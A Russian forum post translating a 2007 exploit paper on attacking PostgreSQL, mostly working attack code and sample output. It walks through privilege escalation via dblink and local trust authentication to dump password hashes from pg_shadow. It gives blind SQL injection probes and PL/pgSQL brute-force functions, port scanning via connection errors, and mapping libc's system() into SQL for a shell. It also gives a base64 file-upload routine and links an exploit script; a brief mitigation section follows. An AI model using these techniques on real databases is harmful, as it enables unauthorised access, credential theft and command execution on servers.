[Перевод]Развлечения с PostgreSQL

Discussion in 'Статьи' started by NeMiNeM, 22 Sep 2007.

  1. NeMiNeM

    NeMiNeM Elder - Старейшина

    Joined:
    22 Aug 2005
    Messages:
    480
    Likes Received:
    310
    Reputations:
    201
    Развлечения с P o s t g r e S Q L


    Автор: Nico Leidecker ( [email protected])
    Дата: June 05 2007
    Перевод: NeMiNeM


    PostgreSQL - это объектно-реляционная система управления базами данных (ORDBMS) (по-русски ОРСУБД или просто СУБД) основанная на POSTGRES, версии 4.2, которая была разработана в Научном Компьютерном Департаменте Беркли Калифорнийского Университета. POSTGRES является пионером во многих аспектах, которые стали доступны в некоторых коммерческих СУБД много позже.

    PostgreSQL - это продукт с открытым исходным кодом, который является потомком оригинального кода, написанного в Беркли. PostgreSQL поддерживает большую часть стандарта SQL и предлагает множество современных возможностей. (подробно)


    [Предисловие]

    В этой статье будут представлены несколько идей для эксплуатации уязвимостей в типичных конфигурациях PostgreSQL. Большинство идей не новые, но всё же их тяжело найти или очень легко недосмотреть.

    Все примеры проверялись на PostgreSQL 8.1 и могут не совпадать с предыдущими версиями.
    Версия 8.2 обсуждается в разделе о pgchanges.


    [dblink: Корень Зла]

    Dblink – часть PostgreSQL начиная с версии 7.2. DBlink позволяет организовать связь между серверами и с одного сервера обращаться за данными на другой сервер. Типичное использование dblink:

    Code:
    CREATE VIEW entry_states AS SELECT * FROM
                            dblink('host=1.2.3.4
                                    dbname=remotedb
                                    user=dbuser
                                    password=secretpass',
                                   'SELECT id, title FROM  entries')
                            AS remote_entries(id INT, title TEXT);
    Это только небольшой пример как можно использовать dblink. Но нам более интересно как можно злоупотреблять им.

    [Расширение привилегий]
    В конфигурации PostgreSQL по-умолчанию включена локальная trust-аутентификация, т.е. каждое подключение к бд с локального хоста будет принято даже без ввода пароля. Трудно понять, почему такая опция включена по-умолчанию и соответствующие предупреждение в файле 'pg_hba.conf' безошибочное:

    Внимание: Конфигурация системы для локальной trust-аутентификации даст возможность любому локальному пользователю подключится к PostgreSQL под именем другого пользователя, даже superuser. Если вы не доверяете локальным пользователям, используйте другой метод аутентификации.

    Опытный админ скорее всего не пропустит этого, но новичок может и не отключить такую аутентификацию.

    Итак! Что же будет если мы будем использовать dblink для подключения к локальному хосту?


    Code:
    SELECT * FROM dblink('host=127.0.0.1
                              user=someuser
                              dbname=somedb',
                             'SELECT column FROM sometable')
                          RETURNS (result TEXT);
    Такой запрос будет исполнен с правами 'someuser' и выдаст результат в текущую сессию. В целом, пользователь может и не быть админом. Но если мы знаем логин админа, идентифицировали хост (с помощью dblink) и на сервере включена локальная trust-аутентификация – у нас есть больше возможностей. Пример для непривилегированного пользователя 'someuser':

    Code:
      $ psql -U someuser somedb
        somedb=> select usename, usesuper from pg_user where usename=current_user;
         usename  | usesuper
        ----------+----------
         someuser | f
         (1 row)
    
        somedb=> select usename from pg_user where usesuper='t';
         usename
        ---------
         admin
        (1 row)
    
    Чтоб доказать это, попытаемся сначала как непривилегированный пользователь сделать запрос на хэшы паролей с файла pg_shadow а потом попробуем с помощью расширения привелегий и пользователя 'admin'.

    Code:
     somedb=> select usename, passwd from pg_shadow;
        ERROR:  permission denied for relation pg_shadow
    
        somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin
        dbname=somedb', 'select usename,passwd from pg_shadow') returns
        (usename TEXT, passwd TEXT);
         usename  |               passwd
        ----------+-------------------------------------
         admin    | md549088b3a87b8ce56ecd39259d17ff834
         someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2
        (2 rows)
    Эти запросы можно было бы конечно использовать и в SQL-инъекциях. Очевидно, что необходимым условием есть идентификация установлена ли библиотека dblink и включена ли локальная trust-аутентификация. Давайте предположим что мы проводим blind SQL injection и нам нужны два простых запроса чтоб достать необходимую информацию:

    Code:
    SELECT
            repeat(md5(1), 500000)
        WHERE
            EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2);
    
        SELECT
            repeat(md5(1),500000)
        WHERE
            EXISTS (
                SELECT * FROM dblink('host=127.0.0.1
                                      user=admin
                                      dbname=somedb',
                                     'SELECT 1')
                                  RETURNS (i INT));
    Если есть возможность расширения привелегий, то есть возможность использовать и более интересные функции. Но перед этим, давайте ближе ознакомимся с dblink и с тем, что можно достичь без расширения привелегий.

    [Брут-форс учётных записей]

    Если локальная trust-аутентификация отключена мы всё же можем брутить эккаунты, возможно будет акк с простым паролем. Самый простой, но примитивный вариант – это посылать в SQL запросе к серверу слова, вложенные в POST или GET запрос. Но, необыкновенное количество запросов может вызвать подозрение. Другой метод, который использует только один или два запроса, а остальное оставляет для обработки базой данных это PL/pgSQL - загружаемый процедурный язык для PostgreSQL, который должен создать администратор выполнив CREATE LANGUAGE 'plpgsql'. Мы можем проверить его присутствие:
    Code:
    somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
         lanname | lanacl
        ---------+---------
         plpgsql |
        (1 row)
    Ура! Он присутствует! И даже больше! По-умолчанию создания функций – это привилегия возможна для PUBLIC, где PUBLIC – это любой пользователь бд. Чтоб избежать этого, админ должен был отменить привилегию USAGE с домена PUBLIC:

    somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

    В этом случаи, наш предыдущий запрос выдал бы такой результат:
    Code:
    somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
         lanname | lanacl
        ---------+-----------------
         plpgsql | {admin=U/admin}
        (1 row)

    Однако, у нас есть право использовать язык и таким образом создавать произвольные функции. Итак, создадим функцию, которая составляет слова и использует их в строке соединения dblink с локальным хостом. Кроме того, нам нужен обработчик ошибок, на случай если аутентификация провалится.

    Code:
    CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                       username TEXT, dbname TEXT) RETURNS TEXT AS
        $$
        DECLARE
            word TEXT;
        BEGIN
            FOR a IN 65..122 LOOP
                FOR b IN 65..122 LOOP
                    FOR c IN 65..122 LOOP
                        FOR d IN 65..122 LOOP
                           BEGIN
                              word := chr(a) || chr(b) || chr(c) || chr(d);
                              PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                           ' port=' || port ||
                                                           ' dbname=' || dbname ||
                                                           ' user=' || username ||
                                                           ' password=' || word,
                                                           'SELECT 1') 
                                                           RETURNS (i INT));
                                                         RETURN word;
                                EXCEPTION
                                  WHEN sqlclient_unable_to_establish_sqlconnection 
                                      THEN
                                         -- do nothing
                            END;
                        END LOOP;
                    END LOOP;
                END LOOP;
            END LOOP;
            RETURN NULL;
        END;
        $$ LANGUAGE 'plpgsql';
    
    Этот исключительно инкрементный метод брута возвратит слово как результат удачной аутентификации или же NULL (нулевое значение). К сожалению, как и все брут-форс техники, эта займет очень много времени и не факт что принесет результат. Другим вариантом есть использование списка готовых слов. Чтоб это сделать, мы можем использоваться возможностями другой удаленной бд:

    Code:
    CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                       username TEXT, dbname TEXT) RETURNS TEXT AS
        $$
        BEGIN
            FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                                  user=name
                                                  password=qwerty
                                                  dbname=wordlists',
                                                 'SELECT word FROM wordlist')
                                              RETURNS (word TEXT)) LOOP
                BEGIN
                    PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                 ' port=' || port ||
                                                 ' dbname=' || dbname ||
                                                 ' user=' || username ||
                                                 ' password=' || word,
                                                 'SELECT 1')
                                              RETURNS (i INT));
                    RETURN word;
    
                    EXCEPTION
                        WHEN sqlclient_unable_to_establish_sqlconnection THEN
                            -- do nothing
                END;
            END LOOP;
            RETURN NULL;
        END;
        $$ LANGUAGE 'plpgsql'
    В зависимости от данных в базе, было бы логично получать слова с текущих данных. Вот пример функции, которая достает и делает запросы в каждую таблицу и атрибут типа TEXT из pg_attribute и pg_class:

    Code:
     CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                       username TEXT, dbname TEXT) RETURNS TEXT AS
        $$
        DECLARE
            qry TEXT;
            row RECORD;
            word text;
        BEGIN
            FOR row IN (SELECT
                            relname, attname
                        FROM
                            (pg_attribute JOIN pg_type ON atttypid=pg_type.oid)
                                JOIN pg_class ON attrelid = pg_class.oid
                        WHERE
                            typname = 'text') LOOP
                BEGIN
                    qry = 'SELECT '
                              || row.attname || ' AS word ' ||
                          'FROM '
                              || row.relname || ' ' ||
                          'WHERE '
                              || row.attname || ' IS NOT NULL';
    
                    FOR word IN EXECUTE (qry) LOOP
                       BEGIN
                            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                         ' port=' || port ||
                                                         ' dbname=' || dbname ||
                                                         ' user=' || username ||
                                                         ' password=' || word,
                                                         'SELECT 1')
                                                      RETURNS (i INT));
                          RETURN word;
    
                          EXCEPTION
                             WHEN sqlclient_unable_to_establish_sqlconnection THEN
                                    -- do nothing
                       END;
                    END LOOP;
                END;
            END LOOP;
            RETURN NULL;
        END;
        $$ language 'plpgsql';
    Можно улучшить код, разделяя результаты пробелами и удаляя все ненужные спец. символы.

    [Сканирование портов с помощью удалённого доступа]

    Когда попытка подключения неуспешна, dblink показывает исключение `sqlclient_unable_to_establish_sqlconnection' и разъяснение ошибки. Некоторые примеры:

    Code:
    SELECT * FROM dblink_connect('host=1.2.3.4
                                      port=5678
                                      user=name
                                      password=secret
                                      dbname=abc
                                      connect_timeout=10');
    
    a) Хост не работает.

    DETAIL: could not connect to server: No route to host Is the server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

    b) Закрытый порт

    DETAIL: could not connect to server: Connection refused Is the server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

    c) Порт открытый

    DETAIL: server closed the connection unexpectedly This probably means
    the server terminated abnormally before or while processing the request

    или

    DETAIL: FATAL: password authentication failed for user "name"
    d) Порт открытый или стоит фильтр

    DETAIL: could not connect to server: Connection timed out Is the server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?


    К сожалению, нет возможности получить детали исключения в пределах PL/pgSQL функции. Но возможно получить детали, если есть возможность подключится к серверу PostgreSQL напрямую. Если нет возможности получить логины и пароли просто из системных таблиц, атака из списка слов может принести результат.


    [Подключение функций]

    Если мы присмотримся ближе к dblink то увидим такие строчки:
    CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS
    '$libdir/dblink','dblink_connect' LANGUAGE 'C' STRICT;

    Это простой оператор CREATE с переменной $libdir, которая представляет директорию библиотеки PostgreSQL. После исполнения запроса, функция подключается с библиотеки dblink к dblink_connect(), которая ожидает аргумент TEXT. Нет ограничений на библиотеки и функции, и в какой директории мы ищем эти функции. Следовательно, мы можем создать функцию и подключить ее к любой функции произвольной библиотеки…припустим `libc':

    CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS
    '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT;

    По-умолчанию, обыкновенный пользователь не будет иметь прав на создание функций с помощью языка `C'. Но в случаи, если мы супер-пользователь или используем расширение привелегий, можем получить шелл.


    [Получаем шелл]
    PostgreSQL предлагает функцию для строк на С, кот. называеться CSTRING. Это позволяет нам не только подключать функции, которые ожидают целые аргументы, но также позволяет изменять структуры TEXT в необработанные символьные массивы. И это открывает для нас новые ворота:

    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;

    Всё, что мы делаем с system() будет исполнено в контексте сервера. Однако не факт, что это будет рут.

    [Заливаем файлы]

    Экспериментируя с функциями, мы можем открывать, вводить информацию и закрывать файлы.

    Вот интересный приём для отправки данных с бинарника к бд сервера и потом ввод данных в файл. Нам нужны функции:


    CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS
    '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;

    CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS
    '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;

    CREATE OR REPLACE FUNCTION close(int) RETURNS int AS
    '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;

    Отправка бинарных данных на сервер, который потом передаст их к бд может провалится.
    Для этого, лучше перекодировать бинарные данные в буквенно-цифровые. Base64 – наш друг и сервер PostgreSQL соединит хранящийся процедуры. PostgreSQL будет запускать процесс для каждого нового подключения, таким образом файл-дескриптор будет отключатся вместе с завершением соединения. Это значит, что нам нужно будет за каждым разом открывать тот же файл чтоб переслать часть информации. Но это не проблема. Вот функция, которая открывает, вписывает информацию и закрывает файл, а также декодирует строку base64 перед тем, как вписать ее в файл:

    Code:
    CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
        $$
        DECLARE
            fh int;
            s int;
            w bytea;
            i int;
        BEGIN
            SELECT open(textout(file)::cstring, 522, 448) INTO fh;
    
            IF fh <= 2 THEN
                RETURN 1;
            END IF;
    
            SELECT decode(s, 'base64') INTO w;
    
            i := 0;
            LOOP
                EXIT WHEN i >= octet_length(w);
    
                SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
    
                IF rs < 0 THEN
                    RETURN 2;
                END IF;
    
                i := i + 1;
            END LOOP;
    
            SELECT close(fh) INTO rs;
    
            RETURN 0;
    
        END;
        $$ LANGUAGE 'plpgsql';
    Цифры 522 и 448 в вызове функции open() – это значения для ( O_CREAT |
    O_APPEND | O_RDWR ) и S_IRWXU. Заметьте, они зависят от ОС.



    [Функции sleep и copy в PostgreSQL 8.2]

    Много вещей в этой статье основанные на версии 8.1 и не будут работать или будут плохо работать в версии 8.2. К примеру, в новой версии есть встроенная функция pg_sleep. Вообще-то эта функция упростит нам жизнь. Но другой новой фичей есть проверка на совместность при загрузке библиотек. Каждая библиотека должна иметь спец.блок для идентификации. Конечно, libc не имеет такого блока и по этому не может быть загружена. Вкратце, мы не можем использовать system() для исполнения шелл-команд и write(), open() или close() для работы с файлами. Но мы можем использовать команду COPY для записи в файл. К сожалению, нам понадобятся права супер-юзера для копирования данных с таблицы в файл и мы не сможем записать бинарные данные в файл. Вопрос: Поможет ли нам запись с низкими правами данных ASCII в глобальный каталог для записи (например `/tmp') ? Скорее всего – нет.
     
    12 people like this.
  2. NeMiNeM

    NeMiNeM Elder - Старейшина

    Joined:
    22 Aug 2005
    Messages:
    480
    Likes Received:
    310
    Reputations:
    201
    [Рекомендации и предотвращение]

    Во-первых нужно отключить локальную trust-аутентификацию. Для этого отредактируйте строчки по-умолчанию в конце файла pg_hba.conf:
    local all all ident sameuser
    host all all md5

    Как результат, каждый пользователь (локальный или удаленный) должен будет идентифицироваться. Расширение привелегий с помощью dblink уже не будет возможным.
    Для отключения мэппинга к произвольным библиотекам лучше всего обновить версию PostgreSQL. Но также будет необходимо убедиться что у всех пользователей ограниченные права.

    [Скрипт pgshell]

    `pgshell' – это скрипт на пэрл, который делает то, что описано в этой статье. Он использует SQL-инъекции для собирания данных о системе, расширяет привелегии, создает шелл и загружает файлы. Описание и сам шелл здесь: http://www.leidecker.info/pgshell/

    [Ссылки]

    http://db.cs.berkeley.edu/postgres.html
    http://www.postgresql.org/about/history
    http://www.postgresql.org/about/users
    http://www.linuxshare.ru/postgresql/manual/intro-whatis.html

    Оригинал - http://milw0rm.com/papers/165
    Перевод: NeMiNeM
    Специально для antichat.ru

    ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить :) Спасибо.
     
    #2 NeMiNeM, 22 Sep 2007
    Last edited: 22 Sep 2007
    4 people like this.